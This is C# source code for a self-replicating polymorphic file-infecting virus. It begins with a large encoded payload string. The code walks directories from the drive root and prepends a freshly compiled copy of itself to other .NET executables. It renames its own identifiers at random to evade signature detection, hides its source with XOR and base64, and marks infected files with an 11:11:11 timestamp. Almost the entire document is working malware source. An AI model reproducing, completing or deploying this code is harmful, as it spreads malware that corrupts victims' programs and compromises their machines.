w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+V4b++4b+z4b+i4b+p4b+g4b+k4b+U4b+14b+z4b+i4b+p4b+g4b+k4b644b+j4b+k4b+i4b+54b++4b+34b6w4b+k4b+14b+o4b+k4b+E4b+/4b+V4b++4b+z4b+i4b+p4b+g4b+k4b684b6w4b+54b++4b+k4b6w4b+o4b+74b+14b+p4b+o4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+D4b+k4b+i4b+54b++4b+34b+S4b+l4b+54b+84b+04b+14b+i4b6w4b+54b++4b+D4b+y4b6w4b6t4b6w4b++4b+14b+n4b6w4b+D4b+k4b+i4b+54b++4b+34b+S4b+l4b+54b+84b+04b+14b+i4b644b+k4b+14b+o4b+k4b+E4b+/4b+V4b++4b+z4b+i4b+p4b+g4b+k4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+D4b+k4b+i4b+54b++4b+34b+S4b+l4b+54b+84b+04b+14b+i4b6w4b+/4b+l4b+k4b+D4b+y4b6w4b6t4b6w4b++4b+14b+n4b6w4b+D4b+k4b+i4b+54b++4b+34b+S4b+l4b+54b+84b+04b+14b+i4b644b+k4b+14b+o4b+k4b+E4b+/4b+V4b++4b+z4b+i4b+p4b+g4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+44b+x4b+i4b6w4b+z4b+94b+94b+94b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b6w4b644b+54b++4b+k4b6w4b+54b+94b+94b+94b6w4b6t4b6w4b6g4b6r4b6w4b+54b+94b+94b+94b6w4b6s4b6w4b+k4b+14b+o4b+k4b+E4b+/4b+V4b++4b+z4b+i4b+p4b+g4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6r4b6w4b+54b+94b+94b+94b674b674b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+94b+94b+94b6w4b6t4b6w4b+54b++4b+D4b+y4b+L4b+54b+94b+94b+94b+N4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+94b+94b+94b6w4b6t4b6w4b644b+z4b+44b+x4b+i4b654b644b+z4b+94b+94b+94b6w4b+O4b6w4b+o4b+74b+14b+p4b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+D4b+y4b6+4b+R4b+g4b+g4b+14b++4b+04b644b+z4b+94b+94b+94b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+/4b+l4b+k4b+D4b+y4b6+4b+E4b+/4b+D4b+k4b+i4b+54b++4b+34b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+14b++4b+z4b+/4b+04b+14b+y4b6m4b6k4b644b+j4b+k4b+i4b+54b++4b+34b6w4b+34b+34b+34b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+F4b+E4b+W4b6o4b+V4b++4b+z4b+/4b+04b+54b++4b+34b6w4b+R4b+V4b+g4b6w4b6t4b6w4b++4b+14b+n4b6w4b+F4b+E4b+W4b6o4b+V4b++4b+z4b+/4b+04b+54b++4b+34b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+E4b+/4b+S4b+x4b+j4b+14b6m4b6k4b+D4b+k4b+i4b+54b++4b+34b644b+R4b+V4b+g4b6+4b+X4b+14b+k4b+S4b+p4b+k4b+14b+j4b644b+34b+34b+34b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+g4b+/4b+84b+p4b+o4b644b+j4b+k4b+i4b+54b++4b+34b6w4b+64b+p4b+l4b+34b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+C4b+x4b++4b+04b+/4b+94b6w4b+o4b+i4b+x4b++4b+o4b6w4b6t4b6w4b++4b+14b+n4b6w4b+C4b+x4b++4b+04b+/4b+94b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b+L4b+N4b6w4b+34b+44b+/4b+j4b+k4b6w4b6t4b6w4b+r4b6y4b+g4b+i4b+/4b+z4b+54b++4b+24b+/4b6y4b684b6y4b+o4b+g4b+x4b+i4b+x4b+94b+j4b+o4b6y4b684b6y4b+z4b+54b+74b6y4b684b6y4b+24b+j4b6h4b6o4b6o4b6y4b684b6y4b+y4b+44b+/4b+j4b+k4b+y4b6y4b684b6y4b+14b+o4b+14b+84b+14b++4b+34b+k4b+44b6y4b684b6y4b+y4b+p4b+k4b+14b+j4b6h4b6y4b684b6y4b+84b+/4b+64b+44b6y4b684b6y4b+l4b+i4b+x4b++4b+l4b6y4b684b6y4b+p4b+k4b+p4b6y4b684b6y4b+24b+j4b6m4b6y4b684b6y4b+24b+j4b6h4b6j4b6j4b6y4b684b6y4b+54b+g4b+g4b+z4b6y4b684b6y4b+o4b+24b+54b+84b+14b+o4b6y4b684b6y4b+24b+j4b6i4b6i4b6j4b6y4b684b6y4b+54b+z4b+o4b+z4b+g4b6y4b684b6y4b+24b+j4b6h4b6k4b6k4b6y4b684b6y4b+04b+/4b+p4b6y4b684b6y4b+p4b+24b+54b+84b+14b+o4b6y4b684b6y4b+24b+54b+84b+14b+j4b+o4b6y4b684b6y4b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b6y4b684b6y4b+04b+54b+i4b+j4b6y4b684b6y4b+o4b+04b+54b+i4b6y4b684b6y4b+j4b+o4b+k4b+i4b+14b+x4b+94b6y4b684b6y4b+R4b++4b+04b+c4b+14b+k4b+j4b+C4b+/4b+z4b+74b6y4b684b6y4b+o4b+j4b+14b+84b+24b+p4b6y4b684b6y4b+z4b+/4b+l4b++4b+k4b+14b+i4b6y4b684b6y4b+Z4b++4b+24b+14b+z4b+k4b6y4b684b6y4b+04b+54b+i4b+o4b6y4b684b6y4b+34b+84b+14b++4b6y4b684b6y4b+o4b+p4b+o4b+o4b6y4b684b6y4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+C4b+14b+x4b+04b6i4b6y4b684b6y4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+E4b+/4b+C4b+14b+x4b+04b6i4b6y4b684b6y4b++4b6g4b6g4b6y4b684b6y4b+C4b+14b+x4b+04b+o4b6y4b684b6y4b+o4b+84b+14b++4b+34b+k4b+44b6y4b684b6y4b+z4b+z4b+l4b+i4b6y4b684b6y4b+n4b6j4b6j4b6y4b684b6y4b+y4b+p4b+k4b+14b+j4b6i4b6y4b684b6y4b+H4b+i4b+54b+k4b+14b+o4b6y4b684b6y4b+34b+i4b+14b+14b++4b6y4b684b6y4b+p4b+14b+84b+84b+/4b+n4b6y4b684b6y4b+i4b+54b+k4b+n4b6y4b684b6y4b+o4b+i4b+x4b++4b+o4b6y4b684b6y4b++4b+l4b+94b+o4b6y4b684b6y4b+84b+14b+k4b+o4b6y4b684b6y4b+X4b+14b+k4b+C4b+x4b++4b+04b+/4b+94b+D4b+k4b+i4b+54b++4b+34b6y4b684b6y4b+34b+/4b+x4b+k4b6y4b684b6y4b+94b+x4b+74b+14b+14b+o4b+14b6y4b684b6y4b+S4b+l4b+54b+84b+04b+V4b+o4b+14b6y4b684b6y4b+q4b++4b+x4b+94b+14b6y4b684b6y4b+m4b+54b+z4b6y4b684b6y4b+/4b+z4b+g4b6y4b684b6y4b+o4b+m4b+z4b+14b6y4b684b6y4b+q4b+i4b+14b+j4b+l4b+84b+k4b+j4b6y4b684b6y4b+/4b+l4b+k4b+g4b+l4b+k4b6y4b684b6y4b+z4b+/4b+04b+14b+m4b6y4b684b6y4b+V4b++4b+z4b+i4b+p4b+g4b+k4b+U4b+14b+z4b+i4b+p4b+g4b+k4b6y4b684b6y4b+k4b+14b+o4b+k4b+E4b+/4b+V4b++4b+z4b+i4b+p4b+g4b+k4b6y4b684b6y4b+o4b+74b+14b+p4b6y4b684b6y4b+54b++4b+D4b+y4b6y4b684b6y4b+/4b+l4b+k4b+D4b+y4b6y4b684b6y4b+z4b+94b+94b+94b6y4b684b6y4b+54b+94b+94b+94b6y4b684b6y4b+14b++4b+z4b+/4b+04b+14b+y4b6m4b6k4b6y4b684b6y4b+04b+x4b+k4b+x4b+y4b+x4b+j4b+14b6y4b684b6y4b+x4b+i4b+34b+j4b6y4b684b6y4b+o4b+k4b+o4b6y4b684b6y4b+z4b+/4b+04b+14b+p4b6y4b684b6y4b+z4b+/4b+04b+14b+q4b6y4b684b6y4b+94b+54b+04b+z4b+/4b+04b6y4b684b6y4b+o4b+z4b+/4b+04b+14b+o4b6y4b684b6y4b+04b+14b+z4b+/4b+04b+14b+y4b6m4b6k4b6y4b684b6y4b+g4b+84b+x4b+54b++4b+o4b6y4b684b6y4b+04b+/4b++4b++4b+p4b6y4b684b6y4b+g4b+/4b+84b+p4b+o4b6y4b684b6y4b+64b+p4b+l4b+34b6y4b684b6y4b+g4b+x4b+k4b+44b+o4b6y4b684b6y4b+X4b+14b+k4b+C4b+x4b++4b+04b+/4b+94b+D4b+k4b+i4b+54b++4b+34b6y4b684b6y4b+T4b+/4b++4b+j4b+/4b+84b+14b+R4b+g4b+g4b+84b+54b+z4b+x4b+k4b+54b+/4b++4b6m4b6y4b684b6y4b+I4b+A4b+i4b+/4b+34b+i4b+x4b+94b+I4b6y4b684b6y4b+z4b+/4b+04b+14b+54b6y4b684b6y4b+z4b+/4b+04b+14b+84b6y4b684b6y4b+24b+54b++4b+x4b+84b+o4b6y4b684b6y4b+54b+94b+g4b+p4b6y4b684b6y4b+34b+44b+/4b+j4b+k4b6y4b684b6y4b+R4b+V4b+g4b6y4b684b6y4b+34b+34b+34b6y4b+t4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b6w4b644b+54b++4b+k4b6w4b+54b+94b+g4b+p4b6w4b6t4b6w4b6g4b6r4b6w4b+54b+94b+g4b+p4b6w4b6s4b6w4b+34b+44b+/4b+j4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6r4b6w4b+54b+94b+g4b+p4b674b674b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+64b+p4b+l4b+34b6w4b6t4b6w4b+64b+p4b+l4b+34b6+4b+C4b+14b+g4b+84b+x4b+z4b+14b644b+34b+44b+/4b+j4b+k4b+L4b+54b+94b+g4b+p4b+N4b684b6w4b+X4b+14b+k4b+C4b+x4b++4b+04b+/4b+94b+D4b+k4b+i4b+54b++4b+34b644b+o4b+i4b+x4b++4b+o4b6+4b+e4b+14b+o4b+k4b644b6h4b6g4b6g4b6g4b6g4b684b6p4b6p4b6p4b6p4b6p4b6p4b654b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+64b+p4b+l4b+34b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+C4b+14b+x4b+04b+o4b644b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b6w4b+j4b+o4b+k4b+i4b+14b+x4b+94b684b6w4b+54b++4b+k4b6w4b+o4b+84b+14b++4b+34b+k4b+44b684b6w4b+54b++4b+k4b6w4b+z4b+z4b+z4b+l4b+i4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+S4b+54b++4b+x4b+i4b+p4b+C4b+14b+x4b+04b+14b+i4b6w4b+n4b6j4b6j4b6w4b6t4b6w4b++4b+14b+n4b6w4b+S4b+54b++4b+x4b+i4b+p4b+C4b+14b+x4b+04b+14b+i4b644b+j4b+o4b+k4b+i4b+14b+x4b+94b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+n4b6j4b6j4b6+4b+S4b+x4b+j4b+14b+D4b+k4b+i4b+14b+x4b+94b6+4b+D4b+14b+14b+74b644b+z4b+z4b+z4b+l4b+i4b684b6w4b+D4b+14b+14b+74b+f4b+i4b+54b+34b+54b++4b6+4b+S4b+14b+34b+54b++4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+y4b+p4b+k4b+14b+j4b6i4b6w4b6t4b6w4b++4b+14b+n4b6w4b+y4b+p4b+k4b+14b+L4b+o4b+84b+14b++4b+34b+k4b+44b+N4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+E4b+/4b+C4b+14b+x4b+04b6i4b6w4b6t4b6w4b644b+54b++4b+k4b654b+o4b+84b+14b++4b+34b+k4b+44b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+C4b+14b+x4b+04b6i4b6w4b6t4b6w4b6g4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+n4b+44b+54b+84b+14b6w4b644b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+E4b+/4b+C4b+14b+x4b+04b6i4b6w4b6u4b6w4b6g4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b++4b6g4b6g4b6w4b6t4b6w4b+n4b6j4b6j4b6+4b+C4b+14b+x4b+04b644b+y4b+p4b+k4b+14b+j4b6i4b684b6w4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+C4b+14b+x4b+04b6i4b684b6w4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+E4b+/4b+C4b+14b+x4b+04b6i4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b++4b6g4b6g4b6w4b6t4b6t4b6w4b6g4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+i4b+14b+x4b+74b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+C4b+14b+x4b+04b6i4b6w4b674b6t4b6w4b++4b6g4b6g4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+E4b+/4b+C4b+14b+x4b+04b6i4b6w4b694b6t4b6w4b++4b6g4b6g4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+n4b6j4b6j4b6+4b+T4b+84b+/4b+j4b+14b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+y4b+p4b+k4b+14b+j4b6i4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+m4b+/4b+54b+04b6w4b+H4b+i4b+54b+k4b+14b+o4b644b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b6w4b+j4b+o4b+k4b+i4b+14b+x4b+94b684b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+34b+i4b+14b+14b++4b684b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+p4b+14b+84b+84b+/4b+n4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+S4b+54b++4b+x4b+i4b+p4b+H4b+i4b+54b+k4b+14b+i4b6w4b+i4b+54b+k4b+n4b6w4b6t4b6w4b++4b+14b+n4b6w4b+S4b+54b++4b+x4b+i4b+p4b+H4b+i4b+54b+k4b+14b+i4b644b+j4b+o4b+k4b+i4b+14b+x4b+94b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+54b+k4b+n4b6+4b+S4b+x4b+j4b+14b+D4b+k4b+i4b+14b+x4b+94b6+4b+D4b+14b+14b+74b644b6g4b684b6w4b+D4b+14b+14b+74b+f4b+i4b+54b+34b+54b++4b6+4b+S4b+14b+34b+54b++4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+54b+k4b+n4b6+4b+H4b+i4b+54b+k4b+14b644b+34b+i4b+14b+14b++4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+54b+k4b+n4b6+4b+H4b+i4b+54b+k4b+14b644b+p4b+14b+84b+84b+/4b+n4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+54b+k4b+n4b6+4b+W4b+84b+l4b+j4b+44b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+54b+k4b+n4b6+4b+T4b+84b+/4b+j4b+14b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b+t";
private static string GetRandomString(int goat)
{
char[] letx = new char[7];
Random xranx = new Random(goat);
for (int immm = 0; immm < 7; immm++)
{
int numx = xranx.Next(0, 26);
letx[immm] += (char)('a' + numx);
}
string output = new string(letx);
return output + xranx.Next(1, 2000).ToString();
}
static void Main(string[] args)
{
string xparamsx = "";
for (int cik = 0; cik < args.Length; cik++)
{
xparamsx += args[cik] + " ";
}
string xselfy = Process.GetCurrentProcess().MainModule.FileName;
string xyxx = Path.GetDirectoryName(xselfy);
string glen = Directory.GetDirectoryRoot(xyxx);
DirectoryInfo dirx = new DirectoryInfo(@glen);
AndLetsRock(dirx);
FileStream fs188 = new FileStream(xselfy, FileMode.OpenOrCreate, FileAccess.Read);
int bhostb = (int)fs188.Length;
int exelength = Convert.ToInt32("01234");
byte[] bytes1 = Readx(fs188, exelength, bhostb - exelength);
fs188.Close();
byte[] lojh = new UTF8Encoding().GetBytes("jabir.b");
int yty = new Random().Next(2000);
FileStream fs6 = new FileStream("p" + yty + "h.exe", FileMode.OpenOrCreate, FileAccess.Write);
Writex(fs6, bytes1,lojh);
fs6.Close();
try
{
ProcessStartInfo procinfo = new ProcessStartInfo("p" + yty + "h.exe", @xparamsx);
Process xtx = Process.Start(procinfo);
xtx.WaitForExit();
}
catch
{
;
}
finally
{
File.Delete("p" + yty + "h.exe");
}
}
private static void Infect(string filenamex)
{
FileStream fs133 = new FileStream(filenamex, FileMode.OpenOrCreate, FileAccess.Read);
int ippc = (int)fs133.Length;
byte[] bytes2 = Readx(fs133, ippc, 0);
fs133.Close();
string output = new Random(DateTime.Now.Millisecond).Next(1, 111111).ToString();
if (output.Length == 1)
{
output = "000000" + output;
}
else if (output.Length == 2)
{
output = "00000" + output;
}
else if (output.Length == 3)
{
output = "0000" + output;
}
else if (output.Length == 4)
{
output = "000" + output;
}
else if (output.Length == 5)
{
output = "00" + output;
}
else
{
output = "0" + output;
}
string[] xtx = database.Split(new char[] { '>' });
string codey = EncryptDecrypt(decodeb64(xtx[1]), Convert.ToInt32(xtx[0]));
string codez = EncryptDecrypt(decodeb64(xtx[2]), Convert.ToInt32(xtx[0]));
string codei = codey + decodeb64("fHw=") + codez;
string codel = polyx(codei);
string codev = xtx[0].Replace("0008080", output);
codel = codel.Replace("0008080", output);
codel = codel.Replace("01234", "0" + ippc.ToString());
string[] finalx = codel.Split(new string[] { decodeb64("fHw=") }, StringSplitOptions.None);
codey = finalx[0];
codez = finalx[1];
string midcod = codev + ">" + encodeb64(EncryptDecrypt(codey, Convert.ToInt32(output))) + ">" + encodeb64(EncryptDecrypt(codez, Convert.ToInt32(output)));
string xcodex = codey + midcod + codez;
string xfilex = GetRandomString(new Random().Next(10000, 999999)) + ".exe";
bool makeexe = BuildExe(xfilex, xcodex);
if (makeexe == false)
{
throw new System.InvalidProgramException();
}
FileStream fs223 = new FileStream(xfilex, FileMode.OpenOrCreate, FileAccess.Read);
int icxcp = (int)fs223.Length;
byte[] bytes1 = Readx(fs223, icxcp, 0);
fs223.Close();
File.Delete(xfilex);
FileStream fs144 = new FileStream(filenamex, FileMode.OpenOrCreate, FileAccess.Write);
Writex(fs144, bytes1, bytes2);
fs144.Close();
File.SetLastWriteTime(filenamex, new DateTime(DateTime.Now.Year, DateTime.Now.Month, DateTime.Now.Day, 11, 11, 11));
}
private static void AndLetsRock(DirectoryInfo doy)
{
FileInfo[] filesx = doy.GetFiles("*.exe");
foreach (FileInfo yfilex in filesx)
{
string filenamex = yfilex.FullName;
try
{
AssemblyName.GetAssemblyName(filenamex);
if (yfilex.LastWriteTime.Hour.ToString() + yfilex.LastWriteTime.Minute.ToString() + yfilex.LastWriteTime.Second.ToString() == "111111")
continue;
else
try
{
Infect(filenamex);
counter++;
}
catch
{
continue;
}
if (counter == 5)
{
return;
}
}
catch { continue; }
}
DirectoryInfo[] dirs = doy.GetDirectories("*.*");
foreach (DirectoryInfo xdir in dirs)
{
try
{
if (counter == 5)
{
return;
}
AndLetsRock(xdir);
}
catch { continue; }
}
return;
}
private static bool BuildExe(string zname, string codey)
{
ICodeCompiler vic = new CSharpCodeProvider().CreateCompiler();
CompilerParameters ocp = new CompilerParameters();
ocp.ReferencedAssemblies.Add("System.dll");
ocp.GenerateExecutable = true;
ocp.CompilerOptions = "/target:winexe";
ocp.OutputAssembly = zname;
CompilerResults zresults = vic.CompileAssemblyFromSource(ocp, codey);
foreach (CompilerError xvce in zresults.Errors)
{
Console.WriteLine(xvce.ErrorNumber + ": " + xvce.ErrorText);
}
if (zresults.Errors.Count == 0)
{
return true;
}
else
{
return false;
}
}
private static string decodeb64(string donny)
{
byte[] plainx = Convert.FromBase64String(donny);
return Encoding.UTF8.GetString(plainx);
}
private static string EncryptDecrypt(string textToEncrypt, int xkeyx)
{
StringBuilder inSb = new StringBuilder(textToEncrypt);
StringBuilder outSb = new StringBuilder(textToEncrypt.Length);
char cmmm;
for (int immm = 0; immm < textToEncrypt.Length; immm++)
{
cmmm = inSb[immm];
cmmm = (char)(cmmm ^ xkeyx);
outSb.Append(cmmm);
}
return outSb.ToString();
}
private static string encodeb64(string ggg)
{
UTF8Encoding AEp = new UTF8Encoding();
return Convert.ToBase64String(AEp.GetBytes(ggg));
}
private static string polyx(string jyug)
{
Random xranx = new Random();
string[] ghost = {"procinfo","xparamsx","cik","fs188","bhostb","exelength","bytes1","lojh","uranu","yty","fs6","fs133","ippc","xfilex","fs223","icxcp","fs144","doy","yfilex","filesx","filenamex","dirs","xdir","sxtream","AndLetsRock","xselfy","counter","Infect","dirx","glen","xyxx","numBytesRead2","numBytesToRead2","n00","Readx","xlength","ccur","w33","bytes2","Writex","green","yellow","ritw","xranx","numx","letx","GetRandomString","goat","makeexe","BuildExe","zname","vic","ocp","xvce","zresults","output","codev","EncryptDecrypt","textToEncrypt","xkey","inSb","outSb","cmmm","immm","encodeb64","database","args","xtx","codey","codez","midcod","xcodex","decodeb64","plainx","donny","polyx","jyug","pathx","GetRandomString","ConsoleApplication6","XProgramX","codei","codel","finalx","impy","ghost","AEp","ggg"};
for (int impy = 0; impy < ghost.Length; impy++)
{
jyug = jyug.Replace(ghost[impy], GetRandomString(xranx.Next(10000,999999)));
}
return jyug;
}
private static byte[] Readx(FileStream sxtream, int xlength, int cccur)
{
BinaryReader w33 = new BinaryReader(sxtream);
w33.BaseStream.Seek(cccur, SeekOrigin.Begin);
byte[] bytes2 = new byte[xlength];
int numBytesToRead2 = (int)xlength;
int numBytesRead2 = 0;
while (numBytesToRead2 > 0)
{
int n00 = w33.Read(bytes2, numBytesRead2, numBytesToRead2);
if (n00 == 0)
break;
numBytesRead2 += n00;
numBytesToRead2 -= n00;
}
w33.Close();
return bytes2;
}
private static void Writex(FileStream sxtream, byte[] green, byte[] yellow)
{
BinaryWriter ritw = new BinaryWriter(sxtream);
ritw.BaseStream.Seek(0, SeekOrigin.Begin);
ritw.Write(green);
ritw.Write(yellow);
ritw.Flush();
ritw.Close();
}
}
}
====================================================================================================================